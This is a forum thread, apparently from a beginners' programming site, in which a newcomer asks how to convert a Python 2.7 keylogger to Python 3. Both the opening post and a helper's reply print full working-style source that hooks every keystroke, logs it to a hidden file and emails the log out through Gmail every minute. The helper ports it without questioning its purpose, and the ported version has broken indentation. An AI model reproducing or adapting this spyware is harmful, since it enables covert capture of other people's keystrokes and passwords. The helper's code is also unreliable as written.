Python 2 to 3


#1

Hi, this following code is suposed to be some sort of keylogger made in python 2.7; how should it be in Python 3? (3.6, if you want an exact version):

import pyHook, pythoncom, sys, logging
import time, datetime

wait_seconds = 60
timeout = time.time() + wait_seconds
file_log = ‘C:\secret\dat.txt’

def TimeOut():
if time.time() > timeout:
return True
else:
return False

def SendEmail(user, pwd, recipient, subject, body):
import smtplib

gmail_user= user
gmail_pass = pwd
FROM = user
TO = recipient if type(recipient) is list else [recipient]
SUBJECT = subject
TEXT = body

message = “”"\From: %s\nTo: %s\nSubject: %s\n\n%s
""" % (FROM, ", ".join(TO), SUBJECT, TEXT)
try:
server = smtplib.SMTP(“smtp.gmail.com”, 587)
server.ehlo()
server.starttls()
server.login(gmail_user, gmail_pass)
server.sendmail(FROM, TO, message)
server.close()
print 'Email sent succesfully!'
except:
print ‘Error sending the email!’

def FormatAndSendLogEmail():
with open(file_log, ‘r+’) as f:
actualdate = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
data = f.read().replace(’\n’, ‘’)
data = 'Log capturado a las: '+ actualdate + ‘\n’ + data
SendEmail(‘youremail@gmail.com’, ‘yourpasswd’, ‘youremail@gmail.com’,
'New log - '+actualdate, data)
f.seek(0)
f.truncate()

def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG,
format = ‘%(message)s’)
logging.log(10, chr(event.Ascii))
return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()

while True:
if TimeOut():
FormatAndSendLogEmail()
timeout = time.time() + wait_seconds

pythoncom.PumpWaitingMessages()


#2

Hi, how are you?

It’s easier if you put it into your Python 3 environment and start testing the code, until it works properly.

I could help you, but, atm, i’m installing Anaconda. If you dont bother to wait, I could help you.

Cheers!

EDIT:

Hi, i’ve tried to put it into Python 3 syntax, however, I didn’t have the aditional modules to test it.

Anyway, here’s the code:

import pyHook, pythoncom, sys, logging
import time, datetime

wait_seconds = 60
timeout = time.time() + wait_seconds
file_log = 'C:\secret\dat.txt'

def TimeOut():
    if time.time() > timeout:
        return True
    else:
        return False

def SendEmail(user, pwd, recipient, subject, body):
    import smtplib

    gmail_user= user
    gmail_pass = pwd
    FROM = user
    TO = recipient if type(recipient) is list else [recipient]
    SUBJECT = subject
    TEXT = body

    message = """\From: %s\nTo: %s\nSubject: %s\n\n%s
    """ % (FROM, ", ".join(TO), SUBJECT, TEXT)

    try:
        server = smtplib.SMTP("smtp.gmail.com", 587)
        server.ehlo()
        server.starttls()
        server.login(gmail_user, gmail_pass)
        server.sendmail(FROM, TO, message)
        server.close()
        print ('Email sent succesfully!')
    except:
        print("Error sending the email!")

    def FormatAndSendLogEmail():
        with open(file_log, 'r+') as f:
            actualdate = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
            data = f.read().replace('\n', '')
            data = 'Log capturado a las: '+ actualdate + '\n' + data
            SendEmail('youremail@gmail.com', 'yourpasswd', 'youremail@gmail.com',
            'New log - '+actualdate, data)
f.seek(0)
f.truncate()

def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG,
    format = '%(message)s')
    logging.log(10, chr(event.Ascii))
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()

while True:
    if TimeOut():
        FormatAndSendLogEmail()
        timeout = time.time() + wait_seconds

        pythoncom.PumpWaitingMessages()

Please, keep me updated.
Cheers!


#3

Hi, thanks for everything ^^
I will try to run it, but I’m a little busy atm
I’ll tell you later if it works (I’m a real newbie to Python and programming, I’m still at Lesson 2 of Python 2…)

PS: I also would like to know about a python 3 course online, since Codecademy only has the Python 2 one.

Thanks for all! ^^

EDIT (1):

Also, I forgot to translate “Log capturado a las:”, which means "Log captured at:"
I took this from an Spanish video on YouTube.

I’ll tell you later if it works.

Cheers! ^^

EDIT (2)

I’ve got all the modules except the pythoncom one. I have Python 3.6.2 in Windows 7 64-bit but I’m not sure if there is pythoncom version for Python 3.6… tell me if you find the module or got an alternative…

GL HF xDDD

PS: What is Anaconda?


#4

Hello again, how are you?

I think YouTube might be some basics Python 3 free tutorials, you should check it!

Well, i didn’t know for sure if there’s a pythoncom one librarie for 3.6, but i think a simple research at Google might solve this.

Also, Anaconda it’s pretty much like a Python environment manager, that cames with Jupyter Notebook.

With anaconda you can have multiple Python versions running, by creating environments and switching between them when it’s necessary.

When you test it, come to tell me the news!

Cheers!


#5

Great!
I’ll try when I’ll have some free time.


#6

This topic was automatically closed 7 days after the last reply. New replies are no longer allowed.